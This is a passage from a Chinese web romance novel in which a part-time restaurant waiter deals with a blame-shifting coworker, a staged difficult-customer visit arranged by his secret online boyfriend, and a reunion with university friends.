“日盼夜盼总算盼到你来了,这包装成这样我们都不敢打开。” 司谨被这么多人围着有些不好意思,但还是扯开丝带打开了盒子,里头的包装很繁琐,他费了好一阵劲才拆开。 盒子打开,里面放着一些看起来很昂贵的零食,底下还有一款最新款的随身耳机。 “我的天!这是之前网上很火的进口糖,一袋要小两百呢。” “诶,这是不是写给小司的?上面还有字呢。” 有人从里面拿起了一张精美的卡纸。 司谨愣怔接过,低头去看上面的字,并不长,只有寥寥几句,字体有些松散,但留下的痕迹很重,看得出来是认真写的。 【小司店员,听说你只有周末才工作,但我周二就要赶回京市工作,所以不能和你当面道歉,当时刁难你是我不对,希望你能原谅我的幼稚和无理,如果之后有再去海城的机会,希望能获得一个请你吃饭的机会,再当面向你赔礼道歉,真的很对不起】 “哇塞,这真是宋先生写的吗?该不会是助理为了堵我们的嘴随便写的吧?” 司谨摇摇头:“不知道。” 毕竟他也没有见过宋阅的字。 正想将卡片放下,却扫到背面也有一行字。 【对了,还有店里的员工和领班,希望之后能请你们一起吃顿饭,住在海城的这几天给你们添麻烦了】 底下的落款签名很漂亮流畅。 “找到了,这个好像真是他亲手写的。”冲浪达人彭露举着手机递过来,屏幕上俨然是宋阅之前发签名照的微博。 放在一起对比,字体果然是一样的。 “好家伙,怎么感觉不太真实?” 司谨没有说话,将零食分给了他们,自己留了一些,然后又在底下摸到了几张照片。 “这是……”他懵然垂眸,看见那些造型漂亮的照片底下有宋阅的签名。 “宋阅的签名照诶。”有人凑过来看,“是亲签,他怎么还把这个放进来了。” 彭露撇撇嘴:“不是,他是不是过分自恋了?” 司谨被她们的话逗笑,想了想问:“有没有喜欢他的?” 此话一出,其他店员立马摆手,满脸都是嫌弃,显然都回忆起了被对面酒店客人支配的痛苦。 “对他的恨都还没消除,谁能喜欢的来?” 司谨纠结半天,忽然间想到了:“粉丝是不是很喜欢这种签名照,那可以挂在二手平台上卖吗?” “对诶!”彭露一拍手,直接就开始搜索,“我去!他的签名照居然要一千多一张!而且……你这些好像都是价格最高的那种,这一套造型好像出的人特别少。” 司谨凑过去看,眼睛微微一亮。 “那我下了班就挂出去。” 程姐在边上看着他们高兴的样子,也松了口气:“难缠的客人总算是走了,他也把之前的评论全都修改好,这个月的奖金不会扣的。” “好耶!” “太好了!” 原本在为扣工资而担忧的几人一下子都有了活力。 司谨也长舒口气,他把盒子放进休息室里自己的储物柜中,算了算卖签名照可以赚到的钱,心里头止不住高兴。 自从收到了随便穿击剑服的视频以后,他就蠢蠢欲动,想要再给随便买一件礼物。 他觉得随便好像不缺什么东西,于是只能把念头再与.眼打到他的爱好上,随便时不时会给他分享一些日常照片,虽然不会露脸,但其他的却没有任何隐瞒遮挡。 上一次看见随便的护腕有一点旧了,司谨心里头时时刻刻记着,存了好几款在购物车,本来想等发工资再买,现在可以提前了。 正纠结着颜色,把柜子关上,转头就看见刘有意从走廊穿过,有意无意瞥了他一眼,眼神有些不屑。 司谨没把他当回事,出去外面忙了。 天气逐渐暖和起来,堂食的人变得很多,今天司谨负责楼上的中包间,忙得不可开交。 刚在自己包间上完菜,他出去门口等待,就见刘有意匆匆朝着他走来,脸色难看。 “小司啊,我肚子忽然有点痛,你能帮我照看一下吗?” 他负责的是一个小包间,里面只有两个人,现在菜上的都差不多了。 司谨微蹙眉头,纠结片刻还是答应了:“那你快点回来。” “好,麻烦你了哈。”刘有意松了口气,看着是真难受,快步离开二楼。 司谨也不是没有一个人看过两个包厢,这会儿站在包间门中间等候,帮着两边都上过了菜,没有出问题。 没多久刘有意回来了,见着他连连点头:“谢谢啊小司。” “没关系。” 司谨正要回到自己位置上,听见包厢里传出客人不客气的呼唤声,他正要动,刘有意便压低声音骂了句:“这些客人真是一点礼貌都没有,吃得好好的又喊服务生做什么?” 他这话听着像是在为司谨鸣不平,但司谨听后却是忍不住皱眉。 “你别这么说。” 他知道刘有意私底下就喜欢和其他员工吐槽客人,说的话都不太好听,但那时毕竟是在休息室,他们想说也没人能管,现在在工作的时候就过分了。 “吐槽两句都不行,就想我们店里能少点事精,免得那么累……” 刘有意话音刚落,后面的包间门就骤然被打开了。 中年男人明显是喝大了,脸涨得通红,此时怒目圆瞪:“你们在这说什么呢?” 司谨被吓了一跳,连忙露出微笑冲他微微俯身致歉:“不好意思,请问有什么需要?” “需要个屁!你们刚才是不是在这说我们坏话?”男人的声音洪亮。 司谨猜测他可能是听见了刚才刘有意的话,转头看了一眼同样紧张的刘有意,有点不知道该怎么处理。 “没有的先生,您是不是听错了?”刘有意有些心虚地说了句。 “你以为我耳背吗?”男人狠狠指向他们,“你们谁说的?自己站出来!一个服务员还敢在这瞎说话!” 他说着,后面包厢出来一男一女,闻声表情也不好看,但还是扯住了男人。 “哥你喝醉了。” “拉我做什么?我也是开眼了,不是都说这家餐厅服务好吗?价格这么高,就是让我们来当冤大头听服务员骂人的?” 司谨双手交叠在小腹,紧张着看了刘有意一眼,抬手抚向胸前的对讲机,准备让程姐上来一趟。 “是不是你?”男人察觉到他的动作,愤愤走了过来。 司谨脸色微变:“先生,请您冷静一些。” “这位先生,实在不好意思,我们向您道歉可以吗?”刘有意也连忙上前,和司谨站在一起,显得很惊慌。 可他说完这话后,司谨愣怔一下,却是不可置信地看向他。 刘有意很是心虚,压根不敢跟他对视,只望向顾客:“我们这边给您申请一个折扣好吗?我们一定会加大对员工的管理。” 男人勃然大怒,一下子就将矛头对准了司谨。 “所以就是你吧?说我们包厢里的事情多?” 不远处走廊,程姐匆匆赶来,看见眼前的一幕脸色也凝重了起来。 “先生您好,我是这里的负责人,您有什么事情可以和我说。” 她冲两人使了个眼色,司谨和刘有意便后退一步,站在了她身后。 “干什么干什么?你想走是吧?”男人以为他们要离开,情绪又激动起来。 程姐立在他面前丝毫不躲闪,面上也无惧色,只道:“先生,您和我说说是什么情况,我们这边对员工管理非常严格,一定会给他们应有的惩罚。” “好了,你别在这激动了。”男人的朋友也开始劝他,总算让人冷静了些许。 “行,你在这管事是吧?刚才我让你们员工进来倒酒,一出门就听见你们员工说我们这些客人屁事多!哪有这样抱怨客人的?” 程姐听后,露出了然的表情:“实在抱歉先生,我非常理解您的心情,我这边先问清楚情况好吗?您不要生气。” 男人不依不饶,程姐只得带着人进包厢,当着客人的面转头问话:“这个包厢是谁负责的?” “是我,程姐。”司谨迟钝上前,看见那男人含着愠怒的眼神一下子瞪过来。 “你说一下刚才的事情经过。” 司谨一五一十说了,感受到身边灼热的目光,却连头也没转一下,毕竟刚才刘有意把事情往他身上推的时候,也是这么个无动于衷的反应。 “刚才说客人坏话的是谁。”事情经过已经很清楚了,但程姐还是特意多问一句。 司谨没有任何犹豫:“是刘哥。” “原来是你!”男人猛地又站起身来,如果不是身边的朋友还拉着他,恐怕拳头已经挥到刘有意的脸上。 刘有意被他的动作给吓到,踉跄着后退两步,险些被凳子绊倒在地上。 “客人您冷静一些。”程姐虽然平时看不惯刘有意,但也真不会让客人对店里的员工随便动手,“这件事情的确是我们员工的错,我让他向您道歉,今天您包间内的消费我为您申请一个七折的优惠可以吗?” 安抚了好半天,客人总算是安静下来,坐在位置上冷眼看着刘有意鞠躬道歉,一句没关系也没说。 “好了,小谨你继续照顾这桌客人,这边还有小朋友,我让小李送两杯热牛奶上来。”程姐微微颔首,“希望不会影响到你们用餐的心情。” 她安排妥当,客人也没了话说,虽然对刘有意还有意见,但毕竟也不再追责。 刘有意红着脸走出包间,出去就看见几个路过的员工正好奇朝着这边张望,顿时脸色变得更难看了。 知道这件事情和他无关后,客人也没再刁难,司谨顺利结束了周六的兼职,换完衣服出门离开,远远就瞧见刘有意站在公交站跟其他同事说话,看见他以后脸色一沉,鄙夷地往地上吐了口唾沫。 “……” 司谨没把他放在心上,回到家正好接到随便的电话,便随口将今天发生的事情和他说了。 “这老油条还挺精明的,不动声色就把锅往你头上扣。” 电话对面传出的语气有些阴沉。 司谨正在换衣服,没怎么听清他的话,下意识接道:“他经常这样,有的员工没有反应过来就帮他背了锅。” 以前他也被刘有意这么坑过。 “之前背后说你坏话的也是他?”随便问。 “嗯嗯。”司谨没有说太多,“不过我现在学聪明啦。” 他语气轻快,因为是和随便聊天,就显得很放松,往床上趴下,勾起小腿一晃一晃。 随便听着他这边的动静,忽然低低笑了声:“这种厚脸皮,总有人来治他。” 第26章 第二天去上班,司谨听见彭露一行人说今天刘有意的心情很不好,上午还跟其他员工吵架了。 “我看他再这样下去,真离被辞退不远了。” “至于这么大脾气吗?扣了点工资而已,他要是能管住自己的嘴,不就没这事了吗?” “哎呀你们兼职的不了解他,刘哥这个人最好面子了,昨天丢了那么大个人,估计要郁闷一周。” 司谨听着她们讨论,想了想走到彭露的身边。 “彭露,你能帮我看看这个吗?” 彭露从高脚椅上跳下来,毫不介意凑过来看他的手机屏幕。 “他们说这种签名照要专门的包装,你有什么好办法吗?”司谨昨天下午挂上去的签名照已经拍出去了三张。 “这个简单。”彭露给他搜了几个打包方法,“你弄好可以让快递员当着你的面包装,一般都不会折的。” 司谨看着那些教程连连点头,将视频收藏好。 “谢谢。” “客气什么。”彭露笑笑,“天降横财,打算给自己添置点什么吗?” 司谨犹豫片刻:“没有什么需要买的,存起来吧。” 他给随便买了护腕和外套,看随便的风格应该很喜欢户外运动,所以他选了一件春秋可以穿的冲锋衣,没剩下多少钱,他正好留着给燕绥安买一件浴袍,之前他说要赔偿,可是搜了一下价格很贵,便一直等着发工资,现在也可以提前买了。 “你真节省啊。”彭露止不住感叹,她是个月光族,住在家里没什么压力,平时一得空就出去旅游,知道一些司谨家里的事情,很同情他。 “不过我有点好奇,你之后是准备在海城安家吗?这里消费还挺高的。” 司谨从来没有想过这些,他摇摇头:“以后才能确定,等有能力了再想那些事情吧。” “你真的太有干劲了。”彭露忍不住感叹,“你几乎都没休息的时间吧,不累吗?” 司谨诚实摇摇头:“还好,我下班回去还能休息大半个下午呢。” 而且他工作日晚上也不用在公司加班,周末也只需要中午上四个小时,所以对他来说也还能接受。 他并不害怕辛苦,更担心的是自己好不容易来到大城市却无法立足,最后只能灰溜溜回到家乡,但他的家里也并没有他的容身之处,所以他没有退路。 彭露心疼地看了他一眼:“真崇拜你,等下了班来前台一趟,姐姐给你送气泡水喝。” 司谨被她逗笑,乖乖点头答应后转身就去忙了。 今天负责的依旧是楼上包厢,小包间只有一家四口,客人只需要他照顾一个幼儿园的小朋友,所以也不算辛苦。 没多久吃完一行人便前往游乐场,司谨将客人送到楼下,艳羡地看着被父母牵着左右手的小孩,等他们上了车才转身回到店里。 这个点大厅的客人很多,楼上包间正在整理,他在大厅帮忙的同时等待包间迎来新客人,只是还没站多久,他便在去洗手间的路上听见小李正在和前台讨论楼上的事情。 “这是第几份了?刘哥费劲巴拉端上去又让打包。” “一个包厢的活跑上跑下二十多趟了吧,刚看见刘哥衬衫后背都湿了。” 司谨好奇过去:“楼上包厢怎么了?” “小司啊。”小李看见他就笑了,“今天你可是解气了啊,楼上大包来了个客人,特刁蛮,我感觉刘哥都要气死了,但昨天程姐特意跟他说了不准再背后讨论顾客,他硬是憋着一句话都不敢说,生怕再被扣工资。” 司谨面露惊讶,意识到哪不对:“大包就一位客人吗?可是我刚才好像看见送了很多菜上去。” 刘有意一个人端着满满当当的托盘来来回回走,他还以为大包厢坐满了。 “哪里?就一个客人啊,西装革履的还戴着眼镜,要我说这种人最难伺候了。”小李说到后面压低声音,生怕被人给听见,“听说是要打包回去给员工吃。” 司谨觉得奇怪,打包回去的话为什么要亲自过来一趟,这不是故意刁难人吗? 想到之前的宋阅,止不住感到心酸。 等他们从员工洗手间出去,正好撞见刘有意气喘吁吁下来,看见出餐区满满当当的饮品就来了气。 “我说你们怎么回事?这么多饮料放在一个盘上我怎么端?故意想让我砸了是吧?” 饮品区也忙得不行,没空搭理他。 “你喊个人帮忙呗,你没培训过端盘子吗?这么几杯怎么会砸?” “你——” 刘有意脸色阴沉,一转头看见司谨,眼中的怒意更浓了,但扫了眼出餐台上满满当当的饮品,他又只能压下愤怒,说:“小司,你这会不忙吧,来帮我端一下。” 作为一粟的员工,司谨有帮忙的义务,所以即便看出了刘有意不怀好意,但还是答应了。 “好。” 刘有意刻意将高脚杯的一套饮品留给他,自己端着更稳的一盘走了。 “小司,你可小心点,我感觉他又要坑你。” 小李拍了拍司谨的肩膀,提醒他。 司谨无奈叹口气,端起那份饮品跟了上去。 虽然他是兼职服务生,但之前也接受过一周的训练,知道端菜的技巧,所以通常只要小心些都不会出问题。 稳稳带着饮品进了大包厢,司谨抬眸扫了一眼,发现偌大的包间中真的只有一个穿着衬衫的男人。 他们进去时那人正靠在圆桌的中间位置玩手机,似乎正跟谁聊得开心,脸上还带着笑,但看见他们进来,表情就变得冷漠下来。 宽大的桌子上已经堆了小山般的打包盒,显然都是刚才刘有意送上来的。 “裴先生,这些是您点的饮品。”刘有意语气含笑,礼貌的不行。 司谨紧跟着将饮品逐一摆开。 可那男人扫了一眼,却是撇撇嘴:“你这看着没一杯好喝啊,我不是让你上点好喝的饮料吗?算了,这些也打包起来,我带回去给员工喝吧,还有没有别的?” 刘有意的笑容僵硬无比,看着像是要憋不住怒火了。 “裴先生,这些都是我们店的招牌饮品,您如果不喜欢的话,要不和我说说您的喜好,我更好为您选择。” 司谨站在他身后,见状也止不住咂舌。 果然跟小李他们说的一样,可是他们店里品种这么多,难道他是准备每一样都订一份? “我没看见实物怎么知道喜不喜欢?”男人冷笑一声,“怎么?你是嫌我事太多?我是没给钱吗?” 刘有意昨天刚被扣了工资,压根不敢跟他对着来,只得低头:“抱歉先生,我不是这个意思。” 男人抱臂靠在座位上,视线正要挪开,又猛地看见什么似的,将目光定格在了后面的司谨身上。 “我靠。” “先生,您说什么?”刘有意以为他在骂自己。 “没事。”男人忽然抬抬下颚,示意道,“后面那位,你们店有什么好喝的,你给我推荐推荐。” 刘有意听见他含着笑意有些诡异的语气,皱着眉头看了眼身后,觉得哪不对劲。 司谨微怔,扫了一眼桌上的饮品,紧张道:“新上的香橙系列味道还不错,您如果准备带一些回去给员工的话,也可以尝试一下咖啡系列,我们店的豆子都是进口的……” “噢,听起来倒是不错,那就一样来一杯吧。”男人笑了笑。 刘有意闭了闭眼睛。 司谨也暗自在心里叹口气,他总觉得事情不会这么简单,原先是刘有意一个人受折磨,现在变成他和刘有意一起了。 “还有吃的,我觉得还是不够。”男人桌上一边是精美的纸质菜单,一边是一粟的线上点单菜品介绍。 司谨这下也不知道该怎么办了,看着他斟酌半天叹口气。 “算了,你帮我选吧。” 两人同时露出了困惑的表情,男人抬起头,却是面不改色,指向刘有意:“你下去催一下饮料,赶紧端上来。” 说完放下手,笑意盈盈看向司谨:“你留下帮我选菜吧。” 他虽然脸上带着笑,可无论是刘有意还是司谨,都无法从他的表情中读出任何好说话的痕迹。 司谨硬着头皮点头:“好的。” 刘有意浑身怨气,逃似的离开了包厢。 司谨调整好状态,上前站在男人身侧,正准备向他介绍菜品,却见男人随手拉开了身侧的椅子:“坐吧。” “这不符合规定先生。”司谨不太敢坐。 男人无所谓的道:“坐吧,我不喜欢有人站在我边上,不好说话。” 没办法,司谨只能在他身边坐好,然后小声和他介绍了一些桌上没有的菜品。 “您点的都是小吃类,当下午茶正好,但等您带回去可能时间也不早了,可以选一些正餐,正好作为晚餐。” 他本以为男人会否定,但对方却恍然大悟似的点了点头:“你说的真有道理,我都忘了这茬。” 说完没等司谨开口,他修长手指便在菜单上划拉下去一长条。 “那就麻烦帮我下单这些主食吧。” “好的。” 司谨在机器上给他下单,处理完后小心翼翼问:“先生,您还有什么需要吗?如果没有的话我下去帮忙端菜,那些他可能处理不过来。” “走什么?我还没点完呢。”男人又示意他坐下。 司谨困惑无比。 “我以前也来过你们这,不过没吃全菜,味道是不错服务也好,所以我今天又来了。”男人说着,话音一转,“之前来好像也没见过你,你是只有周末在这?” 司谨迷糊点了头:“是的,我通常只有周末和节假日中午在这里。” “那你还有本职工作呢,太辛苦了吧。”男人像是来了劲,“对了,你叫什么?” “我叫司谨,您叫我小司就好。” “好的小谨,我叫裴落,看你挺有眼缘的,要不你喊我一声裴哥吧。” “……” 对话的发展和司谨现象中不太一样,他犹豫片刻还是点头:“好的,裴哥。” 裴落翘着二郎腿好整以暇将他浑身打量了个遍,笑着又问:“长得倒是好,有没有女朋友啊?” 司谨沉默两秒,“没有。” “那有男朋友吗?” 如果是面对别人,司谨绝对不会有那种想法,可是面前这位客人实在是太奇怪了,刁难完刘有意又对他这个态度,总觉得不对劲,该不会是对他有意思吧? 冒出这个猜想,司谨心里其实很不好意思,他感觉自己被随便夸久了,变得有点自恋,可他也不懂,如果不是因为看上了他,问这些话的意义是什么。 于是考虑片刻,他回答:“有的。” 下一秒,面前的男人眼睛骤然瞪大,一副不可置信的样子。 “真的?” “嗯。”司谨脸有点红。 裴落闭了闭眼睛,脸上居然闪过了几分不忍心:“太惨了。” 司谨不知道他在说什么,沉默半天只好试探着将话题扭转回正题上。 “裴先生,您还有什么要点的吗?” 裴落长叹一口气,说:“你吃饭了吗?” 司谨:“还没有。” “这里有你喜欢吃的吗?”裴落问。 司谨察觉到他的意图,说:“没有。” “是吗?那我都点一份,你逐个尝尝怎么样?”裴落温柔笑着,可司谨却感觉他头顶散发着邪恶的黑光。 “……” 没办法,他只好选了一份意面。 不过多时,刘有意敲了敲门,司谨起身去帮他。 “裴先生,您看有没有您想吃的。”刘有意浑身大汗,说话都止不住大喘气了。 他今天端着托盘跑了太多躺,现在手臂都是酸软颤抖的。 裴落端坐着蹙眉看了看,最后只把意面和橘子百香果气泡水留下了。 “什么?”刘有意简直觉得是自己幻听了。 裴落挑眉看他,面露冷意:“我说把这些都打包好,送到我公司去,哪句话理解不了?” “您就只吃一份吗?” “你有什么意见?”裴落一手端起盘子,一首握着饮料杯站起身来,“你在这打包吧,我去隔壁包间吃,一会儿你放一些在我车上,其他的自己送过去,别给我漏洒了。” 刘有意脸色难看,司谨看了他一眼,难得同情。 “那个小司,你过来给我布置餐桌。”裴落说完自顾自出了门。 司谨纠结看了刘有意一眼,还是跟着出去了。 到了隔壁小包间,裴落将餐品放在桌上,看见司谨真要布置餐桌,无奈笑着制止:“行了,你把这吃了吧,我还不饿。” “我……” “别说了,我总不能来一趟点这么多自己什么都不吃吧,你那同事听见不得气厥过去。”裴落言罢掏出手机玩,看见他还犹豫,早有准备似的补充一句,“不吃就差评。” 司谨:“……” 这个客人真的很奇怪。 橙子气泡水的味道很丰富,司谨吃了饭喝完,嘴里一股淡淡的橙香,让他觉得很满足。 “吃完了?”裴落适时放下手机,“看看他打包好没有。” “好的。” 司谨正要出门,身后又传来他的声音:“看一眼就回来啊。” “好。” 到了隔壁,刘有意已经将所有餐品都打包装好了盒,此时正在套袋,听见声音回过头连忙求助:“小司,快来帮帮我,太多了。” 司谨看他这模样也有点同情,但他不能帮忙:“裴先生让我看看打包好了没有。” “快了。”刘有意也顾不得什么了,“他该不会还要点吧?” “应该不点了,不过他还没用晚餐,让我看一眼就要回去。” 司谨给裴落找了个借口。 刘有意居然没有质疑:“那你赶紧回去吧,记得让他别再点了。” 显然,对他而言跟裴落共处一个包厢,要比打包这一大桌子东西更累。 “好。”司谨松口气,回到了隔壁。 裴落正在打游戏,见着他进来忍不住招呼他:“你玩游戏吗?我可以送你账号。” “我平时不打游戏。”司谨看了一眼他的手机屏幕,看起来是一款很火的枪战游戏。 裴落显然很会玩,连耳机都没戴,意识和操作都很流畅,轻易获得了胜利。 “裴先生,那边打包差不多了,现在送下去吗?” “嗯。”裴落利索退出,起身时拿起外套摸摸口袋。 他的动作很别扭,司谨忍不住多看他:“裴先生,您在找什么?” 下一秒,裴落从口袋里找出薄薄一叠粉色钞票,也没数,从里面抽出两张,其他的都塞进了他胸前的衬衫口袋里。 “服务很不错,给你的小费,抽一张去楼下给我买包烟。” 司谨不由震惊,回过神连忙道谢。 记着裴落说的牌子,他离开餐厅,去不远处的便利店买了烟,回去的时候正好看见刘有意拎着大包小包出来,将那些餐点放在门口停着的车上。 裴落从里头出来,见着司谨颔首示意,伸手接过了自己的烟。 “辛苦了。” 其他服务生都在忙,刘有意一个人把东西搬完,气喘吁吁时怀里就多了粉色的钞票。 “你也辛苦了。” 目送客人离开,司谨刚松口气,就见刘有意抽出口袋里的钱,脸色难看。 “就两百?他也太抠门了吧。” 司谨眨眨眼,下意识把口袋里的钱捂紧了。 刘有意看向他,却没了原先的敌意:“他给你多少?” “和你差不多。” 司谨刚才在楼上摸过,猜测一两千。 刘有意松口气,又开始骂娘:“还有一堆饮料要我自己送过去,这客人真是,故意来找茬的吧?” 司谨没敢说话,又听见他问:“他刚才骂你没有?这人说话真太难听了!” “嗯,是挺难听的。”司谨没敢说裴落请他吃了饭,还喝了橘子汁。 刘有意今天也算是被教训了个彻底,说话都不同往常一样尖利,将司谨当做跟自己一样的受害者,将裴落从头到脚吐槽了个遍,等说完还得去裴落公司送饮料。 他走之前司谨看了一眼地址,畅世游戏公司- 优哉游哉开着车满大街乱逛,裴落等待着电话那头的人接通,手止不住在方向盘上叩动,可直到被挂断了也没人接,他只得一脚油门加速飞驰抵达公司楼下。 喊着人将吃的喝的拎上去,他自顾自上了楼,直奔尽头的办公室。 开放式办公区一眼就能望到底,裴落见着办公桌前的人蹙眉抬起头,大步流星过去,将两杯饮料放在桌上。 “这是什么?”燕绥安刚开完会,这会儿心情糟糕。 裴落自己抽出一瓶插上吸管,喝完一口砸巴嘴,在燕绥安逐渐冰冷的眸光中慢条斯理开口:“小谨推荐给我的,他说这个好喝,顺便给你带了一杯。” 此话一出,燕绥安面上的阴沉骤然消散。 “是吗?我尝尝。” 看着他拆包装的动作,裴落有些嫌弃:“你别说,他确实挺乖的,看着就容易被人欺负。” 燕绥安喝了口橙子气泡水,表情放松下来,“怎么样?” “顺利完成任务。”裴落往对面一坐,两条腿自然而然就翘了起来,“一会儿还来送餐呢。” 燕绥安压根不在意这人,给他点小惩罚就行了。 “还有啊,你……”裴落想到什么,面色变得有些凝重,“我感觉你没戏了。” 燕绥安脸色一变:“你什么意思?” 裴落无辜抬手:“可不是我诅咒你,但我都问过了,人家说有男朋友,看着可不像是假的。” 燕绥安沉了脸,随之记起什么,又哼笑一声靠回了沙发椅上。 “你气傻了吧?” “你懂个屁。” 燕绥安不跟他多说,招招手示意他出去。 “用完就丢啊。”裴落啧一声,“不过你既然要给他小费,怎么不多给点?看他辛苦的,你不心疼?” 燕绥安不以为然:“这种规格的餐厅,这种小费算多了,给多了他压力太大,反而高兴不起来。” “行,你想的还挺多。” 裴落没法理解,就像他不懂跟自己合伙的金贵大少爷为什么忽然会跟人合租,还让他大费周章抽空去餐厅刁难个人。 面对他的真诚求教,燕绥安的回答是觉得身边就属他最刻薄,乍一看就是不好说话的事儿精。 裴落翻个白眼:“滚!”- 下班的时间,餐厅后台多了一条评论。 “居然是好评诶,我看下午那劲头,还以为他会跟之前那谁一样。” 刘有意闻言特意去前台看,结果看见评论脸立马拉了下来。 非常好说话的客人一枚吖:[菜品多种多样,味道不错,这里强烈安利服务生小刘,力大如牛,端菜和送餐都很稳,今天的三十杯咖啡只撒了十二杯,希望以后大单都交给他,他真的需要一个被看见的机会,以后每次去都会找他服务。对了,服务生小司长得很帅,kisskiss~] “……” 围在前台看评论的众人齐齐沉默了数十秒。 司谨小心翼翼看了眼一旁浑身冒寒意的刘有意,没敢说话。 彭露憋着笑:“刘哥也别太在意,好歹没差评呢。” 刘有意挂不住脸,不可置信地盯着评论看了许久:“他以后不会真的还来吧?” 几人没憋住,噗嗤一声笑了出来- 算着司谨已经到了下班时间,燕绥安揉揉疲惫的太阳穴,点开访心给他发消息。 对面回复很快,还很罕见主动发了语音。 点开,有些嘈杂的背景声中,司谨的语气轻快带着笑意。 “我下班啦,准备去外面吃个饭回家,今天我收到了好多小费,工作也不是很累,还发了这个月的兼职工资,我给你买了礼物,你要不要猜一下是什么?” 听完语音,燕绥安的眉眼间不自觉也覆上了一层的温柔。 第27章 眨眼间开春,海城的温度变幻莫测,潮湿的雨天逐渐占据了多数时间。 司谨不喜欢下雨,总是容易把裤脚弄湿,回到家也很狼狈,下班时间外头下起暴雨,他只得在公司先待着,等待雨变小一些再走。 编辑组总算迎来了新编辑,对方接手了谢子奇原本的账号,开始跟着一起学习,减轻了他的不少压力。 和随便聊天久了,不知不觉间已经养成了每周电话视频,有时候他累了,便只是挂着电话做自己的事情,同时听着对面的声音,竟然也不觉得麻烦。 叮咚两声,访心弹出了新消息。 随便:【宝宝送的护腕很好用】 随便:【今天海城雨大,宝宝不要坐地铁回家了吧】 随便:【好可惜,如果宝宝允许我去海城的话,我就可以去接宝宝下班了】 司谨前段时间陆续送出了几份礼物,随便表现得很开心,说的话也一次比一次露骨,甚至已经提出了几次见面的请求。 可是他没有做好准备,虽然是真的有在努力想要接受随便,可是他并不清楚自己对随便到底是怎样的情感,他很感谢这份来之不易的陪伴,也被随便的热情和温柔所感染,在相处的这段时间中感受到了很多的善意和温暖。 可是,他真的喜欢随便吗? 他大学的时候太忙,只顾着上课和兼职,几乎没有太多空闲的时间。 司志义和李美花当初并不赞同他出去外面读大学,毕竟县城里很多人都是读完高中就直接去外省打工补贴家用,最后还是大姐和二姐看不下去,偷偷给司谨凑了学费和路费,才将他顺顺利利送上海城。 所以在他读书的时光,也一直努力不给家里添麻烦,为了堵死司志义对大姐和二姐的不满,他也得定时往家里打一些钱。 身边最多人谈恋爱的时候,他完全没有想过这件事情,也没有感知到任何人对他有意思的讯号,反而是在余城读中学时曾有人向他送过情书。 只是他那时迟钝,看完也没有明白什么,最后被司鹏偷偷从他书本里翻出来,在家里用嘲笑的语气念了一遍,惹得他被司志义又臭骂了一顿,说他不好好读书,就知道想这些事情。 垂下眼眸,他犹豫片刻,还是选择避开了这个话题。 北极生活的小熊猫:【准备等雨小一点回家,这个周末不去兼职啦,朋友来海城玩,我跟他出去吃饭】 随便:【男的女的?】 司谨抿住嘴唇,回复:【是我大学时候的舍友】 随便:【那还可以视频吗?上一次视频还是周五,宝宝真的好忙】 后面又配了一个小兔子在地上打滚的表情。 司谨犹豫,答应了。 周末的温度很舒适,外头虽然落着小雨,但已经到了可以穿着薄外套出行的程度,很是舒适。 司谨一出地铁站就看见外头站着两个年轻男人,背着包风尘仆仆的模样,可见着他一笑起来又是和煦热情的。 “小司!” 陈军和曾平安大步过来,脸上都是惊讶的表情。 “哇塞,你变了好多啊。”曾平安忍不住拍了拍司谨的肩,看着他拘谨的样子又哈哈大笑,“不过还是跟以前一样脸皮薄。” 陈军的性格更稳重些,赞许地笑笑,对司谨说:“确实跟以前不太一样了,小司成熟了很多。” 陈军从前是宿舍长,为人老实仗义,从前也给司谨提供过很多帮助,以至于司谨此时见到他,就觉得很安心。 “也还好吧。” 一年没见,曾平安揽住他的肩膀,跟他说起了这一路上的艰辛。 “你们在京市都还好吗?”司谨没有躲开,任由他揽着朝对面商场走去。 两人在毕业以后都听从家里安排,现在都在京市读研。 陈军跟在边上,笑说:“还行,一周才三天有课,前两天和平安约着来海城玩,就想着顺便来看看你。” 他们早早定好了当地有名的餐厅,准备来尝尝味道。 刚在位置上坐下,曾平安变戏法似的从背包里找出个支架和相机,看见司谨好奇的眼神,陈军连忙解释:“他去年买了个手持摄像机,只要一出门就开始拍,你可以关注他的账号。” 司谨顺着他说的名字搜了一圈,找到了曾平安的账号选择关注。 “你还有两千粉丝诶。” 曾平安被他说得脸红:“唉,一千粉都是买的。” 等菜上齐,陈军拍照给女朋友看,曾平安拍素材加进自己的vlog里,司谨犹豫片刻,也点开相机拍了拍面前的菜。 他选了一张角度比较好的,发给了随便。 察觉到他的动作,陈军很惊奇:“司谨,你谈恋爱了?” 此话一出,曾平安也满脸震惊:“真的假的?” 司谨莫名局促,犹豫着还是点头:“算是谈恋爱了吧,就是……网恋。” 原本他是不想告诉别人这件事的,但陈军和曾平安从前跟他的关系就不错,所以纠结片刻还是忍不住说了实话。 原本以为两人会觉得好笑。 “网恋好啊,网恋多方便啊,我原先怎么没想到呢?”曾平安一拍手,“你在哪找的对象啊?靠谱吗?能不能把软件推给我?” 司谨眨眨眼,迟钝道:“还可以,但是……” “访心吗?这个软件我也听说过。”陈军坐在司谨边上,脑袋伸过来看了一眼,“最近挺火的。” 司谨不太了解这些,看着曾平安开始下载访心,有些心虚地提醒一句:“不过里面很多骗人的,你要小心筛选。” 曾平安连连答应,表示自己只是去里面找乐子。 “也不会真有人在这里找真爱吧。” 司谨觉得他说的有道理,可是又忍不住想起对他很真心的随便。 唉……曾平安都懂这个道理,怎么随便会轻易上当呢?看来他真的是个很单纯的人。 吃过饭,曾平安去洗手间捯饬自己的发型,司谨洗过手先一步离开,可刚出去就撞见走廊边上的包间门忽然打开。 “你下次态度能不能好点?每次饭桌上都没好脸色,留我一个人在这。” 前面的男人穿着笔挺西服,外面披着深色长大衣,挺拔修长的身材宛若一道风景线,而在身后人的唠叨中,他蹙着眉回头,狭长深黑的眼眸却在捕捉到某道身影时微微定格。 “你又怎么了?” 裴落差点跟他撞了个正着,正欲发脾气,循着他目光一回头,却看见司谨呆呆盯着他们,满脸惊讶。 几乎是瞬间,燕绥安往前走两步,跟身后人拉开距离。 “来吃饭?” 意识到他在和自己说话,司谨迟钝点头:“你们……” “我跟他不熟。”燕绥安冷冷说。 裴落一下子变了表情,冲着司谨展露和煦笑容:“是小司啊,真巧。” 说着就要过去跟人握手,走到一半被燕绥安挡住了。 看见他,司谨就想到了他上回去餐厅时闹出的事情,“裴先生。” “诶,上次怎么说的,要叫裴哥。”裴落顺势压住燕绥安的肩,笑眯眯的,“来,叫一声。” “……” 司谨眨眨眼,下意识看向燕绥安。 他脸上没什么表情,只是不太明白现在的情况,可这副小模样落在燕绥安眼中却显得有些可怜,像是求助。 